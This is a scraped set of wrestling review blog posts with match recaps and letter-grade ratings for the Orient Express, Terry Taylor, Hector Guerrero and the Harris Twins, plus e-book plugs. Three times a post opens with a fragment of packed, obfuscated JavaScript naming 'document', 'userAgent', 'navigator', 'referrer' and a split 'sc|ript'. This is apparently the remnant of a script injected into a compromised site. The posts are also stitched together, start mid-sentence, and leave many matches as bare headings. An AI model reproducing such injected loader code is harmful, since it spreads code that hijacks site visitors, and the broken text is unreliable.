");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rstfe|var|u0026u|referrer|rbsys||js|php'.split('|'),0,{})) continue our stretch of tag teams with the Orient Express.

Side note: I had this one scheduled for earlier in the month but I realized having Japanese heels on December 7 might get me in some trouble.

Badd Company vs. John Paul/Ed Mattox

Badd Company/Madusa Micelli vs. Wendi Richter/Top Guns

Ok quick recap here. Richter was the second biggest face in the WWF regardless of gender but left because of various issues. She recently beat Madusa for the AWA Women’s Title. Badd Company, the AWA tag champions, are more famous as Tanaka and Kato (Paul Diamond here, minus the mask) of the Orient Express in the WWF a few years later. All titles are on the line here as per the usual stipulations. The Top Guns are Derrick Dukes and Ricky Rice, both of whom suck. They’re the faces here. Oh and Badd Company/Madusa have none other than Diamond Dallas Page as their manager.

Richter gets a huge pop so Page, with hair longer than Shawn Michaels in 96, makes fun of Richter for getting a fluke win for the title and introduces his own team. Everything goes insane at first and genders have to match in this one. The good guys clear the ring and the Top Guns hit a double back elbow on Tanaka. Mike Enos, a future kind of star in the AWA and the guy that was in the ring when Hall jumped the guardrail in 1996, is the referee for some reason. He’s not a known wrestler yet but that’s him.

Ok now we’re down to sanity with Tanaka and Dukes in there. Dukes really likes to work on the arm. Long headlock goes on as the girls yell at each other. Dukes hits a dropkick and let’s try that headlock again. Diamond comes in and actually doesn’t get destroyed as Dukes plays face in peril for a bit. Diamond misses a charge in the corner and it’s off to the girls. They do the usual girls in the 80s stuff here that isn’t all that interesting or, you know, good. Everything breaks down again and Tanaka accidently kicks Madusa so Richter can pin her.

Rating: D+. Another pointless match here as they just did their thing for awhile and the guys meant nothing. I don’t think Rice was ever even in the match. The girls didn’t mean anything at this point but then again they didn’t for a long time. This went nowhere at all and was way too short to be anything of note.

Orient Express vs. Demolition

Both teams do quick promos which are nothing special at all really. We’re in MSG again. Demolition used to be managed by Fuji so there’s some heat there. This is 2 weeks from Mania apparently. Stalling to start until we get down to Smash vs. Tanaka. It’s nearly a comedy bit to start as Tanaka keeps getting caught by punches and shots from Demolition after thinking he had escaped.

Kaito comes in and the stalling begins again. There’s the double teaming to take over and the Express takes over for all of 6 seconds. Back to Demolition with Smash using power to control here. It’s weird to see the faces dominating this long into a match. Double backdrop sends Tanaka flying. More double teaming takes over again, this time for a full 15 seconds. No the best way to start us off here for the Express.

Since it worked so well the first two times they double team again but this time with a cane shot to the back of Smash which actually works. In other words Fuji managed to do what his men couldn’t do in two tries. It’s weird to see these teams against each other for some reason. I don’t think I’ve ever seen them fight before. Hayes goes into a lecture about history and wars between the Japanese and the British for no apparent reason.

The crowd isn’t incredibly into this to put it mildly, mainly due to the Express having about a grand total of zero chance in this. Demolition realizes they’re one of the most successful teams of all time and starts hammering away. Off to Axe who hammers away on Tanaka until everything breaks down. They set for the Decapitator but Fuji interferes. Salt goes into Axe’s eyes and the fastest ten count ever ends this. Wow that was a terrible ending.

Rating: D+. Wow this was pretty bad. Was there ANY reason to give the win to the Orient Express here? The crowd seemed to hate it to put it mildly, so what was the point? Boring match too with Demolition never being in any danger it seemed. I don’t really get this one at all.

Orient Express vs. Rockers

Orient Express vs. Hercules/Jim McPhearson

Hercules is about to hook up with Paul Roma as Power and Glory. Sato jumps Hercules to start so the power man casually gorilla presses him down. Seriously he barely looked like he was trying. A superkick drops Hercules though and McPhearson comes in to eat a superkick of his own. Tanaka adds a few kicks of his own before Sato plants Jim with a Batista Bomb for the pin.

Here are some REAL Americans vs. two evil Japanese men at Summerslam 1990.

Orient Express vs. Nikolai Volkoff/Jim Duggan

The team was involved in a Survivor Series elimination match at Survivor Series 1990.

Alliance vs. Mercenaries

Nikolai Volkoff, Bushwhackers, Tito Santana

Sgt. Slaughter, Boris Zhukov, Orient Express

Mulkey Brothers vs. Orient Express

From two days later on January 7, 1991.

Mr. Fuji/Orient Express vs. Legion of Doom

We play hide the foreign object for a bit with Fuji and then it’s off to Kato vs. Animal. Guess who does better in this case. Kato runs away a lot as the crowd is mostly silent here. The LOD throw Tanaka as high as anyone I’ve ever seen. This is one of those matches where stuff is kind of happening but nothing is going on if that makes sense. In short, it’s rather boring indeed.

All LOD so far as the Express hasn’t been able to get anything going at all. Hawk sends Kato to the floor and just stands there as he gets back in. Double teaming FINALLY slows down Animal a bit, including some salt into the eyes. Here’s Fuji who shoves Animal and leaves. The heel offense ends in about 20 seconds via a double clothesline and it’s off to Hawk. Crowd is pretty dead here. Doomsday Device ends this dominance quickly.

Rating: D-. Total and complete squash here as I think everyone expected. No point at all in having Fuji out there but they were trying to up the drama from zero to about .00001 or so and it didn’t work at all. The Express hardly ever won anything but they would get a bit better, especially against the Rockers. Bad match.

Now we get to the main event for this team at the 1991 Royal Rumble.

Rockers vs. Orient Express

The Express are Kato and Tanaka. Kato is a white guy named Paul Diamond in a mask pretending to be a Japanese guy. Shawn gets jumped to start and hit with a big double backdrop. Marty dropkicks Kato to the floor and superkicks Tanaka down as the Rockers take over. The Rockers hit stereo suicide dives to take the Express (popular names for tag teams no?) down on the floor.

Everything breaks down and we get multiple do-see-do sequences, finally resulting in the Express being rammed into each other and being sent to the floor. Shawn busts out a kind of prototype 619 before the Rockers dive on both members of the Express in a cool spot. Back to Kato vs. Marty and we hit another chinlock. Shawn comes back in for a vertical suplex but Tanaka breaks up a monkey flip by guillotining Shawn from the apron.

The place is really getting into the Rockers here as Kato takes his belt off. The Express tries to clothesline him with it but Shawn dives onto the belt to ran both Express members into each other. Hot tag brings in Marty to clean house and a powerslam gets two on Kato. Tanaka breaks up a backslide attempt so Shawn trips up Kato to retaliate. Everything breaks down again and Tanaka breaks up the Rocket Launcher. Kato slingshots Marty into a Tanaka chop and Jannetty is in trouble. They load it up again, but Shawn blasts Tanaka, allowing Marty to counter the slingshot into a sunset flip on Tanaka for the pin out of nowhere.

And now for the Main Event V on February 1, 1991.

Legion of Doom vs. Orient Express

Did the Express ever win a major match? If they did I certainly don’t remember it. Animal and Kato start us off. Kato was Paul Diamond from the AWA that was very good in his time. LOD is MOVING out there for once. This is a very fast paced match and a nice change of pace for the usually dominant faces. Fuji throws salt at Animal and takes him down. Hawk comes in and beats everyone up badly and the squash is on. Doomsday Device ENDS Kato for the win.

Rating: B-. VERY energetic match here the whole five minutes which isn’t something you often hear about the LOD. The Express bumped like crazy pinballs on speed for Animal and Hawk and the result was a rather entertaining match. It’s not very good, but it’s one of those matches where it’s about the insanity and that worked well here.

Orient Express vs. The Rockers

This is from London. No entrance for the Express here, but this should be absolutely awesome. Fuji goes after the Rockers with the cane before we get going. The Rockers say they’re going back to the locker room and come back with a surprise. I’ve seen this before as the commentary is very familiar to me. This is likely a tape I rented a lot when I was a kid and watched it about 100 times or so.

The surprise is Andre the Giant. Well that works I’d think. It’s so weird with this commentary as I don’t remember watching this match in a long time and yet I can almost quote the commentary before it’s said. Granted there are a lot of shows I can do that with but you get the idea. Everyone gets in there at once and it’s kind of sloppy. I remember a classic between these teams at the 91 Rumble so this should be good.

Jannetty and Kato in the ring at the moment. Kato is a masked man if that helps you visualize things. This is after Wrestlemania as the Nasty Boys are the tag champions. The Rockers dominate the early part here which is rather weird. Marty comes in so I’d expect a good amount of time will pass before Shawn is in again. Marty totally misses a dropkick and it looks terrible.

I guess you could blame it on the time switch or the jet lag or something, but given the time it might be due to a heightened level of alcohol on the faces’ part. Scratch what I said earlier as here’s Shawn again. Shawn of course shows off a bit and we go back to an armbar. I’ve never gotten how heels can get away with switching when the referee’s back is turned and he’s just fine with it. Why can’t faces get away with stuff like that?

Roddy asks Vince something about an airline and Vince avoids it like he would avoid a Benoit sign. That was odd. This really isn’t much of a match at all. Andre has more or less done nothing at all out there either and it’s hurting the match a bit. At this point none of the tag guys mean anything so Andre is the star attraction here. When he’s weak, it makes things a bit pointless.

Marty is literally almost falling into the ring reaching for a tag which doesn’t connect. The Express does the World’s Greatest Tag Team’s double team move on the ropes. You’ll either get that or you won’t since I don’t want to explain it. Shawn takes out both of the Express guys and there’s the hot tag to Jannetty. Andre stops Fuji from interfering and pokes Kato with the cane. Double fist drops end it.

Rating: D. REALLY bad considering who was in there. This was a watchable match, but considering the classic they had at the Rumble, this was weak as hell. It was really just a long controlling sequence by the Express and then the Rockers making a very fast comeback before Andre did the real damage. That was all he did in the entire match and it just never worked at all. Bad match, all things considered.

One last go at the 1992 Royal Rumble.

Orient Express vs. New Foundation

This is a really underrated combination. They went from a dominant tag team towards the end of their AWA run and then became a team that could have a good match against a string of competition in the WWF. With the Rockers, Legion of Doom, Demolition and the Harts around though, where in the world are they going to fit in?

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|natyz|var|u0026u|referrer|tbdih||js|php'.split('|'),0,{})) is one of those wrestlers that I really don’t care for all that much: Terry Taylor.

Bobby Eaton/Sweet Brown Sugar vs. Jacques Rougeau/Terry Taylor

Rougeau is the Mid-America Champion and Taylor is the Southern Champion. Sugar is more famous as Koko B. Ware. Taylor and Eaton get going to start and things speed up, which you know is going to be at least moderately awesome. Off to Sugar who is immediately taken over in a headlock by Taylor. Rougeau comes in and things slow down a bit. We get a test of strength resulting in Rougeau monkey flipping Sugar down.

Back to Eaton who is taken down by another headlock as things slow down even more. Eaton has black hair here which is an odd look on him. The heels finally wake up and cheat to take over on Jacques. Taylor gets a quick hot tag and cleans house, only to get poked in the eye and taken down. Sugar works on his back and then the arm as the fans are WILD about Taylor. Back to Eaton with a knee drop for no cover.

Off to the NWA at Starrcade 1985 after Taylor had started to make a name for himself in the territories.

National Title: Buddy Landel vs. Terry Taylor

Landel is challenging and this is for the Georgia Championship Wrestling main title. Terry, I think the face in this match, takes Buddy down to start and gets some fast near falls off various leverage moves. Landel is basically a Ric Flair tribute wrestler, even using the Nature Boy as his ring name. Buddy fires back but runs into a boot in the corner from the champion.

Rating: D+. Not much to see here but then again neither guy was ever anything of note to begin with. Buddy would be thrown out of the company a few months later due to drug problems and Dusty would get the title as a result. Taylor would go on to the UWF and then the WWF, where he would become a half man half rooster. Wrestling is funny like that sometimes.

Off to the UWF on March 7, 1987.

Tag Titles: Eddie Gilbert/Sting vs. Terry Taylor/Chris Adams

Taylor would win the UWF TV Title and defended it in a unification match at Starrcade 1987.

NWA TV Title/UWF TV Title: Nikita Koloff vs. Terry Taylor

This is a unification match between the two Television Titles. Taylor has Eddie Gilbert with him as backup. Taylor grabs a headlock to start but is easily run over by a shoulder block. They head to the corner and amazingly enough we get a clean break. We go to another corner and Taylor tries a cheap shot, only to get punched in the face by Nikita. Taylor cranks on the arm so Nikita sticks his tongue out at him and puts on an armbar of his own.

Terry headbutts out of the hold but Nikita rams him shoulder first into the buckle. More right hands have no effect at all and Nikita cranks away on the wristlock into a hammerlock. Koloff muscles him down into a cover but Taylor makes the ropes and heads outside. Back in and Taylor talks some trash, earning himself a slap in the face. A backdrop gets two on Terry and its time for more stalling on the floor.

Soon after this it was off to the WWF as the Red Rooster, the wrestling bird. Somehow he stuck with the character for years and yes it crippled his career. He started off well though, appearing in the main event of Survivor Series 1988.

Team Mega Powers vs. Team Twin Towers

Hulk Hogan, Randy Savage, Koko B. Ware, Hillbilly Jim, Hercules

Big Bossman, Akeem, Ted DiBiase, Red Rooster, Haku

The hot tag brings in Savage who cleans house. Slick trips Randy up and things slow down again. Boss Man puts on a bearhug as Slick goes after Liz, grabbing her by the arm. Hulk makes the save and DRILLS Slick with a right hand. The Towers go to handcuff Hogan to the rope but Boss Man gets counted out in the process. Boss Man beats on Hogan with the nightstick and then goes to beat on Savage. Akeem helps with that, drawing a DQ for himself and getting us down to Hogan and Savage vs. Haku.

Tito Santana vs. Terry Taylor

Remember that Heenan is on a mic so we can hear everything that he’s saying. Taylor is undefeated somehow. George Steinbrenner is here. They speed it up so if nothing else it’s interesting looking. Heenan argues with Steinbrenner which is interesting as all goodness obviously. We shift over to a more common style of match. This is interesting as it’s mainly just Bobby talking and you rarely hear from him in the manager role.

After some stupid stuff from Taylor Heenan goes off on him and they shove each other. This is Santana doing most of the work. Keep in mind that I can’t stand Taylor at all. This is horribly boring stuff. Santana gets a rollup for the pin. A boring argument starts, leading to Taylor vs. Brooklyn Brawler of all things. Heenan gets beaten up afterwards.

Red Rooster vs. Brooklyn Brawler

The match starts while we’re in a break and it’s a squash. It’s a minute long and Rooster wins with a small package. I think that’s longer than the “blowoff” of Rooster vs. Heenan at Mania.

And here is that match from Mania V.

Red Rooster vs. Bobby Heenan

Mr. Perfect vs. Red Rooster

And ending at Survivor Series.

Dream Team vs. Enforcers

Dusty Rhodes, Brutus Beefcake, Tito Santana, Red Rooster

Big Bossman, Bad News Brown, Rick Martel, Honky Tonk Man

Bill Irwin vs. Terry Taylor

Taylor would turn heel soon after this and had a match at WrestleWar 1991.

Z-Man vs. Terrance Taylor

He then opened Great American Bash 1991 in one of the worst ideas ever to open one of the worst shows ever.

Bobby Eaton/PN News vs. Steve Austin/Terrence Taylor

Back to regular TV at Clash of the Champions XVIII with Taylor now full heel as Terrance Taylor and part of the York Foundation.

Terrance Taylor/Tracy Smothers vs. Brian Pillman/Marcus Alexander Bagwell

Neither team has ever worked together before but injuries changed the original match. The York Foundation is broken up and Taylor is now just the Taylor Made Man and wears nice clothes. Pillman and Taylor get things going as we hear about Pillman wanting a rematch against Liger after losing the Light Heavyweight Title.

Pillman comes back in by jumping over the top and hammering away on Tracy. A big spinwheel kick gets a two count but Taylor comes in sans tag, allowing for a double team when the referee is with Bagwell. Taylor suplexes Pillman from the ring to the floor and brings him back inside for a gutwrench powerbomb and a close two count. Tracy comes back in and knocks Pillman off the apron with another jumping back elbow. Pillman slingshots in with a clothesline to nail Tracy and everything breaks down again. Brian dropkicks Taylor into Tracy, knocking him into a sunset flip to give Bagwell the pin.

Rating: C+. This was a formula of taking four fast guys and putting them into a match. Bagwell gets to have some ring time and earn a big more experience which is all you can do with a young guy like him. Everyone else looked good and the whole match worked very well. Two good matches in a row to start the show.

Here he is with another very talented guy at Halloween Havoc 1991.

Terrance Taylor vs. Bobby Eaton

The solution is apparently a corner clothesline followed by a knee drop for two. They head to the ramp again and Eaton is put down by a gutwrench powerbomb. Eaton slowly gets back in and takes a top rope splash for two. We hit the chinlock which is broken somewhat quickly but a knee to the ribs stops it dead. Taylor gets some more computer advice and apparently is willing to settle for the countout.

And then a title match at WrestleWar 1992.

US Tag Titles: Greg Valentine/Terry Taylor vs. Freebirds

It amazes me how far tag wrestling has fallen. There are midcard tag titles here. The Freebirds are faces here and for the life of me I don’t get what was seen in Valentine and Taylor as a team. There are two rings here which is always kind of strange but it’s still cool. The Freebirds both use the DDT here so they’re looking for the quick win. Fonzie from ECW is the referee here.

Taylor and Hayes start us off and the fans more or less hate Taylor. At least they’re smart. It’s just strange seeing the Freebirds as faces. Also Greg Valentine is a champion in 1992. What’s weird about this picture? A backhand chop is a judo chop according to Jim. For those of you unsure, the Freebirds are Jimmy Garvin (no one of note really) and Michael Hayes, who is currently the head writer for Smackdown.

ALL Freebirds so far but this is a long match so there’s plenty of time left. We’re about eight minutes in and the champions haven’t been on offense longer than maybe 20 seconds yet. I could watch Valentine fall on his face every day. It’s just perfectly done. The heels take over for a bit and I emphasize the bit part since Garvin takes over again to get us to even.

Hayes gets a hot tag and cleans house. The crowd is hot tonight which gives me a good feeling about the main event. Hayes gets hit in the back of the head with the Five Arm, Terry’s finisher but it only gets two. Fans are completely behind the Freebirds. Taylor gets a gutwrench powerbomb for two on Hayes which is a move I wish we saw more often. We’re nearly fifteen minutes in and Jesse says it’s too early to go for the figure four.

Valentine works on the arm which is just weird for him but whatever. This has been a good match so I can live with that. Another hot tag to Garvin and he cleans house. Everything goes insane and Garvin gets a DDT on Taylor for the pin and the titles. Solid opener and the crowd is happy so everything worked. The titles would be retired in July so it’s not like it means much.

Rating: B. Great opener here as the crowd was way into it and the title change works well to open a show. Starting a show with a good tag match is pretty much a universally good idea and this was no exception. I’m not a fan of any of these four but this was a very solid match and has me wanting to watch more of the show, which is exactly the point of an opener.

Crush vs. Terry Taylor

TV Title: Steven Regal vs. Terry Taylor

Taylor hooks a body scissors with his legs which goes on for awhile. Tony talks about Flair being the new world champion, which is interesting when you consider this was taped about three weeks before Starrcade. Taylor keeps control and goes after the arm. Regal nips up again but Terry takes him right back down. They go back to the mat and Taylor works the arm even more.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzdbd|var|u0026u|referrer|ysnnb||js|php'.split('|'),0,{})) Turkey Day so here’s the most famous wrestling turkey (?) of them all: the Gobbledy Gooker himself, Hector Guerrero.

Gypsy Joe vs. Hector Guerrero

Off to Florida with a match in the CWF at some point in the first half of 1984.

Hector Guerrero/Chavo Guerrero vs. Barry Windham/Mike Rotundo

This could be good. Windham and Rotundo are the US Tag Team Champions but I think this is non-title. The Guerreros come out with mariachi music, sombreros and a big Mexican flag. Barry hammers on Chavo to start but Windham gets caught in a headlock. Off to Hector as Oliver Humperdink goes on a rant about the history of tag team matches originating in America.

Mike comes in and takes Hector down with a headlock but gets countered into a headscissors. Back to the much smaller Chavo for two off a snap suplex but everything breaks down for a minute. That goes nowhere as the Guerreros take over on Rotundo, only to have him cross body Hector for two. Mike finally gets over to Windham for a tag as the biggest man in the match takes over.

Off to Jim Crockett Promotions now with the team appearing in the 1986 Crockett Cup.

Crockett Cup First Round: Sheepherders vs. Hector Guerrero/Chavo Guerrero

The Sheepherders are the Bushwackers as CRAZY heels. Believe it or not there’s a match later on with them in it that Meltzer gave five stars, so they weren’t exactly the same team. Joined in progress with Butch pounding on Chavo but the guy with a famous brother escapes with speed moves. Off to Luke who pounds away even more but gets caught in a sunset flip for two.

Moderate tag brings in Hector and the announcer says we’re at ten minutes in. Abdominal stretch goes on but the Herders won’t quit cheating. Butch is knocked out of the ring as the flag bearer (Rip Morgan) is dropped for a BIG pop. Not that it matters as a double clothesline to Hector ends the Guerreros at just under three minutes shown of about 11. I’m sorry for the lack of ratings but at 15 minutes into the tape I’ve gotten through a two minute intro and five matches. What can I really do here?

Hector Guerrero/Baron Von Raschke vs. Shaska Whatley/Barbarian

Barbarian misses a running boot into the corner though and falls to the floor, allowing Hector to hit a BIG dive, taking out both Barbarian and Baron. That was a very big deal back then and still looks good even today. Whatley comes out to beat on Hector before throwing him inside for a gorilla press slam by Barbarian. A double backdrop puts Hector down for two and Whatley breaks up a potential hot tag to Baron.

Back to Barbarian for another near fall off a big boot followed by a backbreaker. Whatley sends him into the ropes and Hector spits right in his face, which is somehow enough for the hot tag off to the Baron. Raschke puts his Claw Hold on Shaska as everything breaks down. Barbarian breaks up the hold but gets pummeled in the corner by Hector. In the melee, Shaska misses a charge into the corner and Baron drops an elbow for the pin.

From the 1987 Crockett Cup.

Crockett Cup First Round: Jimmy Valiant/Lazer Tron vs. Shaska Whatley/Teijho Khan

Tron is Hector Guerrero in a mask. Clipped to him working on Khan with a dropkick and it’s off to Whatley. The ring is cleared so Tron and Valiant dance a bit. The heels collide as they look like idiots. Valiant comes in and the fun part goes away quickly. Valiant vibrates on the mat as he’s beaten down and Whatley dances some more. Back to Tron who cleans house but the other guys brawl as he’s covering Whatley. Whatley charges at Tron and Khan pulls the top rope down so his partner goes crashing, but it’s a DQ win for them as the referee thinks it was intentional. Only a minute clipped here but not enough to grade.

Hector Guerrero vs. Keith Hart

Hector is the heel here for a change and his partner Buddy Landel is on commentary. A quick headlock puts Keith down but it goes about as far as you would expect. Guerrero rides him on the mat before shoving him away, only to take his eyes with the boot. A shoulder drops Keith but Hector flips out of a backdrop as Landel makes racist jokes about Mexicans. Hector drops him with a vertical suplex but misses a splash.

Off to the AWA at SuperClash III.

Chavo Guerrero/Mando Guerrero/Hector Guerrero vs. Rock N Roll RPMs/Cactus Jack

WCCW vs. CWA. I’ll list the companies for every match for the sake of sanity. Chavo is of course the senior version and Mando is the least known Guerrero. Hector is a dead ringer for Eddie and arguably better. The RPMs are the southern tag champions and are named Tommy Lane and Mike Davis. That Jack guy won’t ever amount to anything. He was a total rookie at this point and almost the Abyss of his day: the guy that would take any bump asked of him so here he is as a result.

The Guerreros all have big sombreros and are about as stereotypical as you can get. Capetta (announcer) says this is AWA vs. CWA and that’s just incorrect. Actually the Guerreros were in the AWA also so I guess it’s correct. Granted both companies would be dead in a year so does it really matter? Hector starts and makes the RPMs look like idiots. Off to Jack and Mando (barely taller than the top rope) with the Guerreros being so much faster it’s unreal.

They hit the floor and Jack actually gets beaten up even worse out there. Back to Hector and they work on the knee before Chavo, the oldest, comes in. Wait make that Mando. Oh and it’s Cactus Jack Foley at this point. The Guerreros tag in and out about every 8 seconds. Jack wants out of there badly and brings in one of the RPMs who I don’t think the announcers know the difference between.

The RPMs finally double team Chavo and that goes even worse for them and it’s off to Hector. The Guerreros get in a big pile on and clear the ring. Jack vs. Chavo now and Jack finally gets something together. Off to Davis as it’s pretty clear the announcers don’t know the RPMs’ names. Off to Davis again and never mind as it’s Jack now. Hot tag to Hector and everything breaks down again. There’s some heel miscommunication and the camera misses the big dives but you can hear the crowd gasping. A moonsault press from Chavo ends Lane.

Rating: C+. Total squash here and a way to get the crowd fired up with the Guerreros doing stuff no one had ever seen before. The speed stuff was good as they looked like an awesome team out there. The dives were good and they made the fans get into the show, which is exactly what the point of an opener is.

After a run in Smoky Mountain and the infamous Gobbledy Gooker period, it was off to WCW for a quick run. Here he is on Nitro, November 4, 1996.

Hector Guerrero vs. Chris Benoit

Another Nitro match on July 22, 1997.

Eddie Guerrero vs. Hector Guerrero

Hector takes him down with a headscissors but a dropkick misses. Eddie starts stomping but we head to the floor for a chase. Back in and Hector uses a side roll to roll Eddie around the ring about four times for two. Eddie comes back with some biting but another headscissors sends him to the floor. Hector hits a big plancha on the floor but back inside, Eddie powerbombs him down and hits the Frog Splash for a fast pin.

One more match on this show from Nitro, August 4, 1997.

Dean Malenko/Jeff Jarrett vs. Hector Guerrero/Chavo Guerrero

One more WCW match from Saturday Night on October 4, 1997.

Rey Mysterio Jr. vs. Hector Guerrero

Gimmick Battle Royal

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Finally, I’m holding a Holiday Special for my e-books: any two of them for just $5.  Check out the details here.

http://kbwrestlingreviews.com/2014/11/28/holiday-sale/

Time for a double shot with the Harris Twins.

The team (Ron and Don) got started in the late 80s in Memphis. Here they are on the day after Christmas 1987.

Bruise Brothers vs. Rough N Ready

Rough N Ready are a pair of masked guys. It’s a brawl to start with we’ll say Ron dropkicking we’ll say Rough down and putting on an armbar. Off to Don as country music band Sawyer Brown is on commentary. Apparently they’re sponsoring the Bruise Brothers, whatever that means.

Don gets two on Rough via a suplex before it’s back to Ron. Rough takes him down with a headlock but gets caught in a headscissors. It’s so strange seeing the Harris Brothers wrestle like normal size guys (they stand about 6’9 each). Back to Don for more arm cranking before Ron comes in to backdrop Rough down. The masked guys go to the floor, only to come back in and get clotheslined down by Don. An abdominal stretch into a rollup of all things gets the pin for Don on Ready.

Rating: D. Other than seeing the Harris Brothers wrestling an entirely different style than I’ve ever seen them use, there was nothing to see here at all. This was a long squash which didn’t get interesting at all. It’s an interesting idea to have the monsters wrestle like guys a foot shorter than they are but it didn’t work in reality.

They would head to ECW for a few shots, including this one at some point in 1993.

Public Enemy vs. Bruise Brothers

This is falls count anywhere because it’s an ECW match. The Brothers still have long hair like they did as the Blu Brothers. The brawl quickly heads outside and into the crowd where the fans scatter. Rocco climbs a scaffold and dives onto let’s say Ron. Grunge picks up something to nail Don in the head and as usual you can barely see anything here.

They destroy a merchandise table before Don catches a diving Rocco in midair. The brawl continues with one of the twins hammering on both opponents at the same time. A table is set up against a wall but not used before they head back into the crowd. Grunge holds Don as Rocco goes up into a balcony, only to dive onto his partner by mistake, giving Ron the pin.

Rating: N/A. This wasn’t wrestling and I’m not sure what it was. They were just doing various things to each other without actually wrestling or having any continuity. It didn’t help that they were literally in the ring for ten seconds out of about ten minutes. Total waste of time but the ECW fans loved it of course.

It was off to the WWF after this with the brothers becoming mountain men called the Blu Brothers. Here’s one of their bigger matches at Wrestlemania XI.

Allied Powers vs. Blu Brothers

I don’t remember if Allied Powers was their official name but it’s Luger/British Bulldog. The Brothers are whatever name you best know the Harris Brothers by, which is most likely the DOA. The timing of this redo is perfect, as their manager is Uncle Zebekiah, who is currently Zeb Colter, manager of Jack Swagger. It’s a big brawl to start and the good guys hit stereo powerslams to take over. Bulldog and we’ll say Jacob (partner of Eli) start and there’s the delayed vertical after only a few seconds.

Off to a headlock by the Brit as Vince sounds like he’s in an auditorium for some reason. The Brothers take over with heel power moves and it’s off to Eli for a side slam. A double big boot from the twins puts Bulldog right back down but Bulldog starts firing off right hands. With the referee holding the Bulldog back, the Brothers pull a switch but they switch back just a few seconds later. That’s some high quality leadership there Zeb.

We’ll say Jacob takes too much time on a middle rope elbow so the British guy moves. Hot tag brings in Luger and house is cleaned. There’s a powerslam and the steel forearm smash gets two. Zebekiah interferes and the twins switch again, allowing Eli to kick out of the forearm which didn’t hit him. Not that it matters as British hits a sunset flip for the pin out of nowhere. Not that he was legal or anything but who cares?

Rating: C-. This match uh…..exists I guess. Seriously that’s all I’ve got here. It wasn’t a good match or anything but I’ve seen worse. That’s the problem here: it’s so average that it’s barely worth talking about. Luger would be gone in a few months back to WCW, which was the best move as he was doing stuff like this for the next six months or so. Nothing to see here at all and a really odd choice for a match and especially the opener.

With that gimmick not working, here’s another random idea from Superstars on October 6, 1996.

Jinx Brothers vs. Grimm Twins

The Harrises are the Twins and I’ll save their opponents for a surprise. They’re a pair of freaks in long red and green wigs and masks, making them look like…..I’m not sure what exactly. Angus (red) starts with Jared (Ron). Wildo comes in to help with a double dropkick but Jason (Don) comes in with a tilt-a-whirl powerslam. A side slam gets two and it’s back to Jared for some forearms and an armbar. Wildo goes up but dives into a powerslam for no cover. A HUGE double spinebuster plants Wildo for the pin. The Jinx Brothers would wind up being a lot more famous under their real names: Matt and Jeff Hardy.

The team would then become arguably their best known characters of Skull and 8-Ball as members of the Disciples of Apocalypse. Here’s one of their matches at Summerslam 1997.

Los Boricuas vs. Disciples of Apocalypse

This is the Puerto Rican gang vs. the bikers as GANG WARZ continue. Vince calls this an eight man tag because he doesn’t care enough about any of these guys. These guys feuded FOREVER and I don’t remember the bikers ever winning a match in the feud. Savio Vega and Crush are the respective leaders and the rest are pretty interchangeable other than Chainz being the only other biker with hair.

It’s a brawl to start of course and the bikers clear the ring. Skull starts with Jose and the big man throws him around with ease. Off to 8 Ball who hits a spinning sidewalk slam before bringing in Crush. Miguel comes in but walks into a tilt-a-whirl backbreaker for no cover. Back to Skull and 8 Ball (identical twins) to crush Miguel in the corner until Savio cheats to take over. All four Boricuas pound on Skull in the corner until the Nation of Domination (now with Ahmed Johnson) comes down to ringside, basically stopping the match cold.

Jesus hits a Fameasser on Skull to set up another four on one beatdown. We hit a chinlock but 8 Ball breaks it up to prevent further boredom. Skull finally gets over for the tag and everything breaks down. Chainz is sent to the floor and punches Ahmed who responds with a sitout powerbomb on the concrete, giving Miguel an easy pin in the ring.

Rating: D-. Oh man this was dull to sit through. Los Boricuas just weren’t interesting at all and other than Savio they easily could have been interchanged with one another. The bikers weren’t much better but at least you could remember which was which. I guess the idea here was to appeal to a wider fanbase but it didn’t do anything for me.

A Survivor Series match at Survivor Series 1997.

Truth Commission vs. Disciples of Apocalypse

Jackyl, Interrogator, Sniper, Recon
Crush, 8-Ball, Skull, Chainz

The Truth Commission is based on a real South African thing, where there were a lot of crimes were committed during Apartheid and the government said “tell the truth that you committed/witnessed these crimes and say you’re sorry.” Amazingly enough it calmed a lot of people down and made the situation a lot better. That being said, I have NO idea why it’s used as a wrestling gimmick. In short, they’re a military themed group. That sums them up as simply as I can.

Jackyl is the leader and is more famous as Cyrus in ECW. Interrogator is Kurrgan and the real star of the team. Sniper is a French Canadian wrestler who means nothing at all and Recon is Bull Buchanan. Crush is Crush, 8-Ball and Skull are big twins and Chainz is Brian Lee from ECW. This really doesn’t scream interesting to me but this is during the Gang Warz period which didn’t ever do anything for me.

Interrogator and Chainz start things off after a brawl with Chainz hammering away but having no visible effect. A sidewalk slam eliminates Chainz in about a minute. Off to Recon vs. 8-Ball with Recon hitting a World’s Strongest Slam for no cover. Jackyl comes in for what might be the only match he ever wrestled in WWF. Apparently that’s almost true as he only had some Shotgun Saturday Night matches other than this. He’s much better as a manager anyway.

Jackyl drops a top rope knee which is immediately no sold. He chops away a bit but walks into a sidewalk slam for the pin to make it 3-3. Sniper jumps 8-Ball and hits some elbows for two as Jackyl is on commentary now. Off to Crush, the leader of the team, who stomps away on Sniper a bit. Recon comes back in to face Skull and they collide, sending Skull to the floor. 8-Ball comes in illegally and clotheslines Recon down for the pin.

